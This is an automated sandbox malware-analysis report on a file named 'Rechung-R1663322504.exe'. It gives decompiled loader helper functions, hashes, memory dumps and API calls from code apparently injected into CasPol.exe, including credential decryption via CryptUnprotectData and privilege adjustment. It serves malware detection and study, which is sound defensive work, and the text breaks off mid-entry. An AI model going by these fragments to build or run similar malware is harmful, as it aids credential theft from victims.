Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction ID: 0fbf8731d8bad765cb9f744f6f02bb9fbed9ce401ee6a58d62f233990fc3ff23
Opcode Fuzzy Hash: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction Fuzzy Hash: 31E01D334011205BC6115F55FD0475A77685F44B36F15407BF9847717147B45C535BD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405B7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405B7C(WCHAR* _a4) {
				WCHAR* _t5;
				WCHAR* _t7;

				_t7 = _a4;
				_t5 =  &(_t7[lstrlenW(_t7)]);
				while( *_t5 != 0x5c) {
					_push(_t5);
					_push(_t7);
					_t5 = CharPrevW();
					if(_t5 > _t7) {
						continue;
					}
					break;
				}
				 *_t5 =  *_t5 & 0x00000000;
				return  &(_t5[1]);
			}

0x00405b7d
0x00405b87
0x00405b8a
0x00405b90
0x00405b91
0x00405b92
0x00405b9a
0x00000000
0x00000000
0x00000000
0x00405b9a
0x00405b9c
0x00405ba4

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Rechung-R1663322504.exe,C:\Users\user\Desktop\Rechung-R1663322504.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405B82
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Rechung-R1663322504.exe,C:\Users\user\Desktop\Rechung-R1663322504.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405B92

Strings

C:\Users\user\Desktop, xrefs: 00405B7C

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction ID: 52ec536bf7c92ef41efc45dde312f484f3c591b0d09bb1e57af7322ca826a5e1
Opcode Fuzzy Hash: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction Fuzzy Hash: 85D05EB24009209AD3126704DC00DAF77B8EF11310746446AE840A6166D7787C818AAC

Uniqueness

Uniqueness Score: -1.00%

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100010E1(signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v0;
				void* _t17;
				signed int _t19;
				void* _t20;
				void* _t24;
				void* _t26;
				void* _t30;
				void* _t36;
				void* _t38;
				void* _t39;
				signed int _t41;
				void* _t42;
				void* _t51;
				void* _t52;
				signed short* _t54;
				void* _t56;
				void* _t59;
				void* _t61;

				 *0x1000406c = _a8;
				 *0x10004070 = _a16;
				 *0x10004074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004048, E100015B1, _t51, _t56);
				_t41 =  *0x1000406c +  *0x1000406c * 4 << 3;
				_t17 = E10001243();
				_v0 = _t17;
				_t52 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_t17);
				} else {
					do {
						_t19 =  *_t52 & 0x0000ffff;
						_t42 = 2;
						_t54 = _t52 + _t42;
						_t61 = _t19 - 0x6c;
						if(_t61 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t52 = _t54 + _t42;
								_t24 = E10001272(E100012BA(( *_t54 & 0x0000ffff) - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t26 = _t20 - _t42;
							if(_t26 == 0) {
								L10:
								_t52 =  &(_t54[1]);
								_t24 = E100012E1(( *_t54 & 0x0000ffff) - 0x30, E10001243());
								goto L13;
							}
							L7:
							if(_t26 == 1) {
								_t30 = GlobalAlloc(0x40, _t41 + 4);
								 *_t30 =  *0x10004040;
								 *0x10004040 = _t30;
								E10001563(_t30 + 4,  *0x10004074, _t41);
								_t59 = _t59 + 0xc;
							}
							goto L14;
						}
						if(_t61 == 0) {
							L17:
							_t33 =  *0x10004040;
							if( *0x10004040 != 0) {
								E10001563( *0x10004074, _t33 + 4, _t41);
								_t59 = _t59 + 0xc;
								_t36 =  *0x10004040;
								GlobalFree(_t36);
								 *0x10004040 =  *_t36;
							}
							goto L14;
						}
						_t38 = _t19 - 0x4c;
						if(_t38 == 0) {
							goto L17;
						}
						_t39 = _t38 - 4;
						if(_t39 == 0) {
							 *_t54 =  *_t54 + 0xa;
							goto L12;
						}
						_t26 = _t39 - _t42;
						if(_t26 == 0) {
							 *_t54 =  *_t54 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t52 != 0);
					_t17 = _v0;
					goto L16;
				}
			}

0x100010e6
0x100010f0
0x100010ff
0x1000110e
0x10001119
0x1000111c
0x1000112b
0x1000112f
0x10001131
0x100011d8
0x100011de
0x10001137
0x10001138
0x10001138
0x1000113d
0x1000113e
0x10001140
0x10001143
0x1000120d
0x10001210
0x100011b0
0x100011b6
0x100011bf
0x100011c4
0x100011c7
0x00000000
0x100011c7
0x10001212
0x10001214
0x10001196
0x1000119d
0x100011a5
0x00000000
0x100011a5
0x10001161
0x10001162
0x1000116a
0x10001177
0x1000117f
0x10001188
0x1000118d
0x1000118d
0x00000000
0x10001162
0x10001149
0x100011df
0x100011df
0x100011e6
0x100011f3
0x100011f8
0x100011fb
0x10001203
0x10001205
0x10001205
0x00000000
0x100011e6
0x1000114f
0x10001152
0x00000000
0x00000000
0x10001158
0x1000115b
0x100011ac
0x00000000
0x100011ac
0x1000115d
0x1000115f
0x10001192
0x00000000
0x10001192
0x00000000
0x100011c9
0x100011c9
0x100011d3
0x00000000
0x100011d7

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Uniqueness

Uniqueness Score: -1.00%

Function 00405CB6 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CB6(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405cc6
0x00405cc8
0x00405ccb
0x00405cf7
0x00405cd0
0x00405cd9
0x00405cde
0x00405ce9
0x00405cec
0x00405d08
0x00405cee
0x00405cf5
0x00000000
0x00405cf5
0x00405d01
0x00405d05
0x00405d05
0x00405cff
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC6
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405CDE
CharNextA.USER32(00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CEF
lstrlenA.KERNEL32(00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CF8

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 3ccce89ec89fcd17ace6fe24ed26798b8253689363ac01c92f586b0f3661b096
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: 81F0F631204958FFC7029FA8DD04D9FBBA8EF16354B2540BAE840F7211D634EE01ABA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 5220, Parent PID: 6340COMMON

Execution Graph

Execution Coverage:	12.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	16.4%
Total number of Nodes:	116
Total number of Limit Nodes:	6

Executed Functions

Function 00D24E10 Relevance: 15.7, Strings: 12, Instructions: 746
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^O!l, xrefs: 00D258D0
\OCl, xrefs: 00D253D5
\OCl, xrefs: 00D2532D
\OCl, xrefs: 00D251C8
\OCl, xrefs: 00D250FC
^O!l, xrefs: 00D25727
\OCl, xrefs: 00D2580F
\OCl, xrefs: 00D25674
^O!l, xrefs: 00D25467
^O!l, xrefs: 00D2525A
\OCl, xrefs: 00D2553A
\OCl, xrefs: 00D259C6

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID: \OCl$\OCl$\OCl$\OCl$\OCl$\OCl$\OCl$\OCl$^O!l$^O!l$^O!l$^O!l
API String ID: 0-1633800730
Opcode ID: e47caaa42f4f23da4dd5b6c15be2700fe96e0d966444e0bc16dc18fb525c69e4
Instruction ID: 88dd41f401f3a125c98ca1a3328a9ade36a7181d93facd87d0a74a6a1c95030e
Opcode Fuzzy Hash: e47caaa42f4f23da4dd5b6c15be2700fe96e0d966444e0bc16dc18fb525c69e4
Instruction Fuzzy Hash: D982AC74E052288FDB64DF69C884BDDBBB2AB89308F1481EAD50DA7350DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00D27460 Relevance: 15.7, Strings: 12, Instructions: 694
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^O!l, xrefs: 00D2779B
^O!l, xrefs: 00D27E0E
\OCl, xrefs: 00D2786E
^O!l, xrefs: 00D279A8
\OCl, xrefs: 00D2763D
\OCl, xrefs: 00D27D4D
\OCl, xrefs: 00D27BB2
\OCl, xrefs: 00D27916
\OCl, xrefs: 00D27F01
^O!l, xrefs: 00D27C65
\OCl, xrefs: 00D27709
\OCl, xrefs: 00D27A7B

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID: \OCl$\OCl$\OCl$\OCl$\OCl$\OCl$\OCl$\OCl$^O!l$^O!l$^O!l$^O!l
API String ID: 0-1633800730
Opcode ID: de833dde50ed5cc6222f40ee0d82b9e71790ece9ee05d3f0b18632e0e4152435
Instruction ID: e1af191f11e63dc1f5de0cab0a21337135020976a665e456d089e046e4094dd9
Opcode Fuzzy Hash: de833dde50ed5cc6222f40ee0d82b9e71790ece9ee05d3f0b18632e0e4152435
Instruction Fuzzy Hash: 6B729D74E052288FDB64DF69C894BDDBBB2AB89308F1480EAD50DA7351DB309E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00D26778 Relevance: 15.7, Strings: 12, Instructions: 678
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OCl, xrefs: 00D26B4D
\OCl, xrefs: 00D26938
^O!l, xrefs: 00D26F17
\OCl, xrefs: 00D26A04
\OCl, xrefs: 00D271B3
\OCl, xrefs: 00D26E75
^O!l, xrefs: 00D26C6B
\OCl, xrefs: 00D26D3E
\OCl, xrefs: 00D26BF5
^O!l, xrefs: 00D270C0
^O!l, xrefs: 00D26A7A
\OCl, xrefs: 00D26FFF

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID: \OCl$\OCl$\OCl$\OCl$\OCl$\OCl$\OCl$\OCl$^O!l$^O!l$^O!l$^O!l
API String ID: 0-1633800730
Opcode ID: 352bd06e5af3632fb4ee30107c28aa02ceb60914669190a0f8a47abc235016cf
Instruction ID: d18d249ed02f17a3771f6e530059618e3775e6317cfae6163ebaca454c059b70
Opcode Fuzzy Hash: 352bd06e5af3632fb4ee30107c28aa02ceb60914669190a0f8a47abc235016cf
Instruction Fuzzy Hash: C472AD74E042288FDB64DF69C884BDDBBB2AF89308F1481EA950DA7351DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F22C83 Relevance: 4.3, Strings: 1, Instructions: 3056COMMON

Download Yara Rule

Strings

N, xrefs: 36F25788

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 4d37073e6874e92169354e73d8e5fbc1e89efcba07145be19043103225b46372
Instruction ID: aca2fc91f0364aca9c6724db6941c0c25f27029175914862224282a67f4bfb20
Opcode Fuzzy Hash: 4d37073e6874e92169354e73d8e5fbc1e89efcba07145be19043103225b46372
Instruction Fuzzy Hash: 1F63C37A900619AFDB51DFA8C944EC8FBB2FF49314F0584E5E208AB671DB319A94DF01

Uniqueness

Uniqueness Score: -1.00%

Function 36F265C8 Relevance: 1.6, Strings: 1, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_!l, xrefs: 36F267E3

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: _!l
API String ID: 0-2216972395
Opcode ID: 1c500659d5f3f8e9a3f372bf612e4980922830474382ee3007e21f912652dec6
Instruction ID: 6be6a18b0009257062e69ee12ba5bf33f349f60956260791399c00949bcfbca2
Opcode Fuzzy Hash: 1c500659d5f3f8e9a3f372bf612e4980922830474382ee3007e21f912652dec6
Instruction Fuzzy Hash: 54F1C1B4D01228CFEB14DFA9C884B9DBBB2BF49308F50C6A9D448AB355DB349985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A4CB Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 34B6A54B

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 426def9dbc5b18492da17e7148a426f4d340ed555fc657950792e33323c05c8d
Instruction ID: 6500b12c9db0cdfda7ea40ef4f0112a4d9d47089d13ec645b28d264a9fa8b7ad
Opcode Fuzzy Hash: 426def9dbc5b18492da17e7148a426f4d340ed555fc657950792e33323c05c8d
Instruction Fuzzy Hash: 5F21B1765093809FDB12CF24DC44B52BFB4EF07314F08849AE9858B563D2359908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 370F1BF9 Relevance: 1.6, APIs: 1, Instructions: 64encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,?,?,?,?,?), ref: 370F1C66

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 60a0aa3db0b947d925f2a5b904ac22b5b1b3c0f42f787981c89ebbc1f5ca01ee
Instruction ID: ed2ade9da84134b897208dfe5d357c3476e627df39dc15ffc1a8956fb55578d1
Opcode Fuzzy Hash: 60a0aa3db0b947d925f2a5b904ac22b5b1b3c0f42f787981c89ebbc1f5ca01ee
Instruction Fuzzy Hash: 8D219072504380AFDB228F65DC54B52FFB4EF4A320F08899EED858B562D336A458DB61

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A64D Relevance: 1.6, APIs: 1, Instructions: 57nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 34B6A6B9

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 2ab5725c515128eed75df943c472ca189e23b85e20ec81e36d170b6c31e2da95
Instruction ID: 266e7641d7e08752582abf42e679b1f2f410277c2148d98fb3b1698af2e00b94
Opcode Fuzzy Hash: 2ab5725c515128eed75df943c472ca189e23b85e20ec81e36d170b6c31e2da95
Instruction Fuzzy Hash: C41193765093809FDB128F14DC45A52FFB4EF07324F0D84DAE9858F163D265A908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A502 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 34B6A54B

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 25ec94a1c62820690687785e083a74c8b688a0213dafe7f37334fc03c8ace9ad
Instruction ID: e80bb2f5ebb1dbd7ab538ad05a3cf41652ce33d7901a4ee3ddb42d56e6297c4f
Opcode Fuzzy Hash: 25ec94a1c62820690687785e083a74c8b688a0213dafe7f37334fc03c8ace9ad
Instruction Fuzzy Hash: B1119E76600300DFEB10CF55D984B56FBE8EF09724F08C46AED468B612D735E458CB62

Uniqueness

Uniqueness Score: -1.00%

Function 370F1C22 Relevance: 1.5, APIs: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,?,?,?,?,?), ref: 370F1C66

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: ce6956e4683dde08eca1dd872178faf198702a2c6906cc9f6f159057724d762f
Instruction ID: 857ee36f55e41041c300c8b29e86ed867afb561e269c178101dc123ddd7e55d6
Opcode Fuzzy Hash: ce6956e4683dde08eca1dd872178faf198702a2c6906cc9f6f159057724d762f
Instruction Fuzzy Hash: BF11A5369007049FDB218F55D884B56FBE0EF08720F08C4AEED458A611D736E458DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A09A Relevance: 1.5, APIs: 1, Instructions: 42networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 34B6A0D5

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: b5255e18f26588a0cf87b3543f7643a7255fc6321da9a9b4b13dd67be7a64051
Instruction ID: 37cd3389cb4b7d877cd57dc0309389d7699485b9e81bcbdffc2d747c8297dae0
Opcode Fuzzy Hash: b5255e18f26588a0cf87b3543f7643a7255fc6321da9a9b4b13dd67be7a64051
Instruction Fuzzy Hash: 2C019E36A00340DFEB10CF55D985B52FBA4EF0A624F08C4AADD498B612D779A058CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A67E Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 34B6A6B9

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 7134fd7a825366b5fa8bbbd1b7cc23fc85a1d09a83c09740a31ee6402d4bdfff
Instruction ID: add54eb40aa107a2f55ab0c7f2268cd228837d2e3222d0cf3dad605aa8dee11a
Opcode Fuzzy Hash: 7134fd7a825366b5fa8bbbd1b7cc23fc85a1d09a83c09740a31ee6402d4bdfff
Instruction Fuzzy Hash: D2018B36600304DFEB208F45D984B52FBA0EF09728F08C49ADD4A4A662D779E458DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 36F22588 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

` @, xrefs: 36F22610

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: ` @
API String ID: 0-1422817024
Opcode ID: 67fe0b06322c69310ab41f76d2d55a8503b3b128fb57be87ea765e2b73de2404
Instruction ID: 5522d63fa200e1d235bfb58b26cc982501ae561c57d23099a87a25120db793cb
Opcode Fuzzy Hash: 67fe0b06322c69310ab41f76d2d55a8503b3b128fb57be87ea765e2b73de2404
Instruction Fuzzy Hash: B0911474D00218CFEB10DFA9C984BDDBBB1BF49318F208269D508AB2A1DB759988CF55

Uniqueness

Uniqueness Score: -1.00%

Function 36F22586 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

` @, xrefs: 36F22610

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: ` @
API String ID: 0-1422817024
Opcode ID: ad6d2ea57f98c2729b1b8e5dbda66efdd6ad8f04a07c94e3e5379fc6132fd6a1
Instruction ID: f557d637aff9605e344f96ee672c48593d32509e1b3cc8b75510da00ef76d682
Opcode Fuzzy Hash: ad6d2ea57f98c2729b1b8e5dbda66efdd6ad8f04a07c94e3e5379fc6132fd6a1
Instruction Fuzzy Hash: 05911574D00218CFEB10DFA9C984BDDBBB1BF49308F208169D508AB2A1DB759984CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00D26769 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

\OCl, xrefs: 00D26938

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID: \OCl
API String ID: 0-1141478478
Opcode ID: a6ac425614bd62e04cc65ec7d205d6c21771c6f1855781734b0ca7e4b6328d10
Instruction ID: 79214b767622d655b39b39ca1b55a2f5e277a1101c9aa13b68c4b9f73227f84a
Opcode Fuzzy Hash: a6ac425614bd62e04cc65ec7d205d6c21771c6f1855781734b0ca7e4b6328d10
Instruction Fuzzy Hash: B661E274E042289FDB68DF69DC51BDABBB2AF89304F1080EAD54CA7250DB715E81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 36F212E8 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

p=Al, xrefs: 36F21372

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

